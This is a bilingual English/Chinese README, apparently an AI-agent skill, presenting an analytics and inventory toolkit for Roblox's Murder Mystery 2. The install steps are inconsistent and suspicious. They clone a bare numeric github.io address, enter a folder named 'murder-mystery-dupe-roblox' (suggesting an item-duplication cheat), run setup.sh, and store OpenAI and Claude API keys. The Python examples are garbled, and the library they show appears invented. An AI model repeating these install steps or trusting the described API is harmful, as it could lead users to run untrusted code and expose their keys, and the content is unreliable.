murder-mystery-2-analytics-toolkit

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Murder Mystery 2 Analytics Toolkit

Murder Mystery 2 分析工具包

Skill by ara.so — Data Skills collection.
This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations.
ara.so开发的Skill——数据技能合集。
本工具包为Roblox的《Murder Mystery 2》游戏提供数据分析、库存管理及策略玩法洞察功能,包含数据可视化、藏品追踪、性能指标统计以及AI驱动的策略建议。

Installation

安装

Automated Setup

自动安装

bash
chmod +x setup.sh
./setup.sh --install
bash
chmod +x setup.sh
./setup.sh --install

Manual Installation

手动安装

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

Environment Configuration

环境配置

Create a
.env
file with required API keys:
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
创建
.env
文件并填入所需API密钥:
bash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

Core Commands

核心命令

Analytics Engine

分析引擎

Run comprehensive analytics on your MM2 profile:
bash
python3 main.py --mode analytics \
    --profile <username> \
    --export <output_file>.json \
    --format json \
    --verbose --log-level DEBUG
Example:
bash
python3 main.py --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --verbose --log-level DEBUG
对MM2游戏档案运行全面分析:
bash
python3 main.py --mode analytics \
    --profile <username> \
    --export <output_file>.json \
    --format json \
    --verbose --log-level DEBUG
示例:
bash
python3 main.py --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --verbose --log-level DEBUG

Inventory Tracking

库存追踪

Scan and catalog your knife skins collection:
bash
python3 main.py --mode inventory \
    --scan-knives \
    --filter legendary,ancient \
    --export inventory_report.csv
扫描并分类你的刀具皮肤藏品:
bash
python3 main.py --mode inventory \
    --scan-knives \
    --filter legendary,ancient \
    --export inventory_report.csv

Strategy Analysis

策略分析

Generate AI-powered strategy recommendations:
bash
python3 main.py --mode strategy \
    --role sheriff \
    --analyze-patterns \
    --export strategy_insights.json
生成AI驱动的策略建议:
bash
python3 main.py --mode strategy \
    --role sheriff \
    --analyze-patterns \
    --export strategy_insights.json

Configuration

配置

Profile Configuration (YAML)

档案配置(YAML格式)

Create
config/profile.yaml
:
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
创建
config/profile.yaml
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

JSON Configuration

JSON配置

Alternatively, use
config/profile.json
:
json
{
  "profile": {
    "username": "MysterySolver2026",
    "preferred_role": "sheriff",
    "inventory_filter": [
      {
        "category": "knife_skins",
        "rarity": ["legendary", "ancient"]
      }
    ],
    "analytics_preferences": {
      "tracking_mode": "comprehensive",
      "data_refresh_rate": 30,
      "export_format": ["csv", "json"]
    }
  }
}
也可使用
config/profile.json
json
{
  "profile": {
    "username": "MysterySolver2026",
    "preferred_role": "sheriff",
    "inventory_filter": [
      {
        "category": "knife_skins",
        "rarity": ["legendary", "ancient"]
      }
    ],
    "analytics_preferences": {
      "tracking_mode": "comprehensive",
      "data_refresh_rate": 30,
      "export_format": ["csv", "json"]
    }
  }
}

Python API Usage

Python API 使用方法

Basic Analytics Session

基础分析会话

python
from mm2_analytics import AnalyticsEngine, Profile
python
from mm2_analytics import AnalyticsEngine, Profile

Initialize profile

初始化档案

profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")

Create analytics engine

创建分析引擎

engine = AnalyticsEngine(profile)
engine = AnalyticsEngine(profile)

Run comprehensive analysis

运行全面分析

results = engine.analyze( mode="comprehensive", include_inventory=True, include_stats=True, include_strategy=True )
results = engine.analyze( mode="comprehensive", include_inventory=True, include_stats=True, include_strategy=True )

Export results

导出结果

engine.export(results, format="json", output="stats_2026.json")
undefined
engine.export(results, format="json", output="stats_2026.json")
undefined

Inventory Management

库存管理

python
from mm2_analytics import InventoryManager
python
from mm2_analytics import InventoryManager

Initialize inventory manager

初始化库存管理器

inventory = InventoryManager(username="mystery_solver_01")
inventory = InventoryManager(username="mystery_solver_01")

Scan for knife skins

扫描刀具皮肤

knives = inventory.scan_knives( filter_rarity=["legendary", "ancient"], include_metadata=True )
knives = inventory.scan_knives( filter_rarity=["legendary", "ancient"], include_metadata=True )

Get collection completeness

获取藏品完成度

completeness = inventory.get_completeness_score() print(f"Collection {completeness}% complete")
completeness = inventory.get_completeness_score() print(f"藏品完成度:{completeness}%")

Find missing items

查找缺失物品

missing = inventory.find_missing_items(category="knife_skins") for item in missing: print(f"Missing: {item.name} (Rarity: {item.rarity})")
undefined
missing = inventory.find_missing_items(category="knife_skins") for item in missing: print(f"缺失:{item.name}(稀有度:{item.rarity})")
undefined

Strategy Analysis

策略分析

python
from mm2_analytics import StrategyAnalyzer
python
from mm2_analytics import StrategyAnalyzer

Initialize strategy analyzer

初始化策略分析器

analyzer = StrategyAnalyzer(profile="mystery_solver_01")
analyzer = StrategyAnalyzer(profile="mystery_solver_01")

Analyze win patterns

分析获胜模式

patterns = analyzer.analyze_win_patterns( role="sheriff", time_period="last_30_days" )
patterns = analyzer.analyze_win_patterns( role="sheriff", time_period="last_30_days" )

Get AI recommendations

获取AI建议

recommendations = analyzer.get_ai_recommendations( role="sheriff", playstyle="aggressive", use_openai=True # Uses API_OPENAI_KEY from env )
for rec in recommendations: print(f"Strategy: {rec.title}") print(f"Description: {rec.description}") print(f"Expected Win Rate Increase: {rec.impact}%")
undefined
recommendations = analyzer.get_ai_recommendations( role="sheriff", playstyle="aggressive", use_openai=True # 使用.env中的API_OPENAI_KEY )
for rec in recommendations: print(f"策略:{rec.title}") print(f"描述:{rec.description}") print(f"预期胜率提升:{rec.impact}%")
undefined

Data Visualization

数据可视化

python
from mm2_analytics import DataVisualizer
python
from mm2_analytics import DataVisualizer

Create visualizer

创建可视化工具

viz = DataVisualizer(profile="mystery_solver_01")
viz = DataVisualizer(profile="mystery_solver_01")

Generate performance chart

生成性能图表

viz.create_performance_chart( metric="win_rate", time_range="last_90_days", output="performance.png" )
viz.create_performance_chart( metric="win_rate", time_range="last_90_days", output="performance.png" )

Create inventory distribution chart

创建库存分布图表

viz.create_inventory_chart( category="knife_skins", group_by="rarity", output="inventory_distribution.png" )
viz.create_inventory_chart( category="knife_skins", group_by="rarity", output="inventory_distribution.png" )

Export interactive dashboard

导出交互式仪表盘

viz.export_dashboard( format="html", output="dashboard.html", include_charts=["performance", "inventory", "strategy"] )
undefined
viz.export_dashboard( format="html", output="dashboard.html", include_charts=["performance", "inventory", "strategy"] )
undefined

Common Patterns

常见使用模式

Complete Analysis Workflow

完整分析工作流

python
from mm2_analytics import (
    Profile,
    AnalyticsEngine,
    InventoryManager,
    StrategyAnalyzer,
    DataVisualizer
)
python
from mm2_analytics import (
    Profile,
    AnalyticsEngine,
    InventoryManager,
    StrategyAnalyzer,
    DataVisualizer
)

Load profile

加载档案

profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")

Run inventory scan

运行库存扫描

inventory = InventoryManager(profile=profile) inventory.scan_all() inv_report = inventory.generate_report()
inventory = InventoryManager(profile=profile) inventory.scan_all() inv_report = inventory.generate_report()

Analyze gameplay statistics

分析游戏统计数据

engine = AnalyticsEngine(profile) stats = engine.get_stats(time_period="last_30_days")
engine = AnalyticsEngine(profile) stats = engine.get_stats(time_period="last_30_days")

Generate strategy recommendations

生成策略建议

strategy = StrategyAnalyzer(profile) recommendations = strategy.get_recommendations( role=profile.preferred_role, use_ai=True )
strategy = StrategyAnalyzer(profile) recommendations = strategy.get_recommendations( role=profile.preferred_role, use_ai=True )

Create visualizations

创建可视化内容

viz = DataVisualizer(profile) viz.create_dashboard( include_inventory=True, include_stats=True, include_strategy=True, output="full_dashboard.html" )
viz = DataVisualizer(profile) viz.create_dashboard( include_inventory=True, include_stats=True, include_strategy=True, output="full_dashboard.html" )

Export comprehensive report

导出综合报告

engine.export_comprehensive_report( inventory=inv_report, stats=stats, recommendations=recommendations, format="pdf", output="mm2_analysis_2026.pdf" )
undefined
engine.export_comprehensive_report( inventory=inv_report, stats=stats, recommendations=recommendations, format="pdf", output="mm2_analysis_2026.pdf" )
undefined

Real-time Tracking

实时追踪

python
from mm2_analytics import LiveTracker
import time
python
from mm2_analytics import LiveTracker
import time

Initialize live tracker

初始化实时追踪器

tracker = LiveTracker( profile="mystery_solver_01", refresh_interval=30 # seconds )
tracker = LiveTracker( profile="mystery_solver_01", refresh_interval=30 # 秒 )

Start tracking session

启动追踪会话

tracker.start()
try: while True: # Get current session stats current = tracker.get_current_session()
    print(f"Games Played: {current.games_played}")
    print(f"Win Rate: {current.win_rate}%")
    print(f"Role Distribution: {current.role_distribution}")
    
    time.sleep(30)
except KeyboardInterrupt: # Stop tracking and save session session_data = tracker.stop() tracker.export(session_data, output="session_2026.json")
undefined
tracker.start()
try: while True: # 获取当前会话统计 current = tracker.get_current_session()
    print(f"已玩游戏数:{current.games_played}")
    print(f"胜率:{current.win_rate}%")
    print(f"角色分布:{current.role_distribution}")
    
    time.sleep(30)
except KeyboardInterrupt: # 停止追踪并保存会话 session_data = tracker.stop() tracker.export(session_data, output="session_2026.json")
undefined

Batch Processing Multiple Profiles

批量处理多个档案

python
from mm2_analytics import BatchProcessor
python
from mm2_analytics import BatchProcessor

Initialize batch processor

初始化批量处理器

processor = BatchProcessor()
processor = BatchProcessor()

Add profiles to process

添加待处理档案

profiles = ["player1", "player2", "player3"] processor.add_profiles(profiles)
profiles = ["player1", "player2", "player3"] processor.add_profiles(profiles)

Run batch analysis

运行批量分析

results = processor.analyze_all( mode="comprehensive", parallel=True, max_workers=4 )
results = processor.analyze_all( mode="comprehensive", parallel=True, max_workers=4 )

Export consolidated report

导出合并报告

processor.export_consolidated_report( results=results, format="xlsx", output="team_analysis_2026.xlsx" )
undefined
processor.export_consolidated_report( results=results, format="xlsx", output="team_analysis_2026.xlsx" )
undefined

CLI Command Reference

CLI命令参考

Analytics Commands

分析命令

bash
undefined
bash
undefined

Basic analytics

基础分析

python3 main.py --mode analytics --profile <username>
python3 main.py --mode analytics --profile <username>

With specific time range

指定时间范围

python3 main.py --mode analytics --profile <username> --time-range 30d
python3 main.py --mode analytics --profile <username> --time-range 30d

Export to specific format

导出为指定格式

python3 main.py --mode analytics --profile <username> --export stats.csv --format csv
undefined
python3 main.py --mode analytics --profile <username> --export stats.csv --format csv
undefined

Inventory Commands

库存命令

bash
undefined
bash
undefined

Scan all inventory

扫描全部库存

python3 main.py --mode inventory --scan-all
python3 main.py --mode inventory --scan-all

Filter by category and rarity

按类别和稀有度筛选

python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient

Find missing items

查找缺失物品

python3 main.py --mode inventory --find-missing --category knife_skins
undefined
python3 main.py --mode inventory --find-missing --category knife_skins
undefined

Strategy Commands

策略命令

bash
undefined
bash
undefined

Generate strategy recommendations

生成策略建议

python3 main.py --mode strategy --role sheriff --analyze-patterns
python3 main.py --mode strategy --role sheriff --analyze-patterns

AI-powered recommendations

AI驱动的建议

python3 main.py --mode strategy --role murderer --use-ai --provider openai
python3 main.py --mode strategy --role murderer --use-ai --provider openai

Export strategy report

导出策略报告

python3 main.py --mode strategy --export strategy.pdf --format pdf
undefined
python3 main.py --mode strategy --export strategy.pdf --format pdf
undefined

Visualization Commands

可视化命令

bash
undefined
bash
undefined

Create dashboard

创建仪表盘

python3 main.py --mode visualize --create-dashboard --output dashboard.html
python3 main.py --mode visualize --create-dashboard --output dashboard.html

Generate specific charts

生成指定图表

python3 main.py --mode visualize --chart performance --output perf.png
python3 main.py --mode visualize --chart performance --output perf.png

Export interactive report

导出交互式报告

python3 main.py --mode visualize --interactive --output report.html
undefined
python3 main.py --mode visualize --interactive --output report.html
undefined

Troubleshooting

故障排除

Inventory Sync Issues

库存同步问题

If inventory data is not syncing:
python
from mm2_analytics import InventoryManager

inventory = InventoryManager(username="mystery_solver_01")
如果库存数据无法同步:
python
from mm2_analytics import InventoryManager

inventory = InventoryManager(username="mystery_solver_01")

Force refresh

强制刷新

inventory.force_refresh()
inventory.force_refresh()

Clear cache and rescan

清除缓存并重扫描

inventory.clear_cache() inventory.scan_all(force=True)
inventory.clear_cache() inventory.scan_all(force=True)

Verify connection

验证连接状态

status = inventory.check_connection() print(f"Connection Status: {status}")
undefined
status = inventory.check_connection() print(f"连接状态:{status}")
undefined

API Rate Limiting

API速率限制

Handle API rate limits gracefully:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

try:
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
    print(f"Rate limit hit. Retry after {e.retry_after} seconds")
    time.sleep(e.retry_after)
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
优雅处理API速率限制:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

try:
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
    print(f"触发速率限制。{e.retry_after}秒后重试")
    time.sleep(e.retry_after)
    recommendations = analyzer.get_ai_recommendations(use_openai=True)

Data Export Failures

数据导出失败

Debug export issues:
python
from mm2_analytics import AnalyticsEngine
import logging
调试导出问题:
python
from mm2_analytics import AnalyticsEngine
import logging

Enable verbose logging

启用详细日志

logging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01") results = engine.analyze()
try: engine.export(results, format="json", output="stats.json") except Exception as e: # Log detailed error logging.error(f"Export failed: {e}")
# Try alternative format
engine.export(results, format="csv", output="stats.csv")
undefined
logging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01") results = engine.analyze()
try: engine.export(results, format="json", output="stats.json") except Exception as e: # 记录详细错误 logging.error(f"导出失败:{e}")
# 尝试替代格式
engine.export(results, format="csv", output="stats.csv")
undefined

Performance Optimization

性能优化

For large datasets:
python
from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine(
    profile="mystery_solver_01",
    cache_enabled=True,
    parallel_processing=True,
    max_workers=4
)
针对大型数据集:
python
from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine(
    profile="mystery_solver_01",
    cache_enabled=True,
    parallel_processing=True,
    max_workers=4
)

Use incremental analysis for large time ranges

对长时间范围使用增量分析

results = engine.analyze_incremental( start_date="2026-01-01", end_date="2026-12-31", chunk_size="30d" )
undefined
results = engine.analyze_incremental( start_date="2026-01-01", end_date="2026-12-31", chunk_size="30d" )
undefined

Advanced Features

高级功能

Custom Data Filters

自定义数据筛选器

python
from mm2_analytics import DataFilter
python
from mm2_analytics import DataFilter

Create custom filter

创建自定义筛选器

filter = DataFilter() filter.add_condition("role", "equals", "sheriff") filter.add_condition("win_rate", "greater_than", 0.5) filter.add_condition("games_played", "between", [10, 100])
filter = DataFilter() filter.add_condition("role", "equals", "sheriff") filter.add_condition("win_rate", "greater_than", 0.5) filter.add_condition("games_played", "between", [10, 100])

Apply filter to analysis

将筛选器应用于分析

engine = AnalyticsEngine(profile="mystery_solver_01") filtered_results = engine.analyze(filter=filter)
undefined
engine = AnalyticsEngine(profile="mystery_solver_01") filtered_results = engine.analyze(filter=filter)
undefined

AI Model Selection

AI模型选择

python
from mm2_analytics import StrategyAnalyzer

analyzer = StrategyAnalyzer(profile="mystery_solver_01")
python
from mm2_analytics import StrategyAnalyzer

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

Use OpenAI

使用OpenAI

openai_recs = analyzer.get_ai_recommendations( provider="openai", model="gpt-4", api_key="${OPENAI_API_KEY}" )
openai_recs = analyzer.get_ai_recommendations( provider="openai", model="gpt-4", api_key="${OPENAI_API_KEY}" )

Use Claude

使用Claude

claude_recs = analyzer.get_ai_recommendations( provider="claude", model="claude-3-opus", api_key="${CLAUDE_API_KEY}" )
undefined
claude_recs = analyzer.get_ai_recommendations( provider="claude", model="claude-3-opus", api_key="${CLAUDE_API_KEY}" )
undefined

Multi-Language Support

多语言支持

python
from mm2_analytics import AnalyticsEngine
python
from mm2_analytics import AnalyticsEngine

Set language for reports

设置报告语言

engine = AnalyticsEngine( profile="mystery_solver_01", language="es" # Spanish )
engine = AnalyticsEngine( profile="mystery_solver_01", language="es" # 西班牙语 )

Generate localized report

生成本地化报告

report = engine.generate_report(localized=True)

This toolkit is designed for analytical and educational purposes. Always comply with Roblox Terms of Service when collecting and analyzing game data.
report = engine.generate_report(localized=True)

本工具包仅用于分析和教育目的。收集和分析游戏数据时,请始终遵守Roblox服务条款。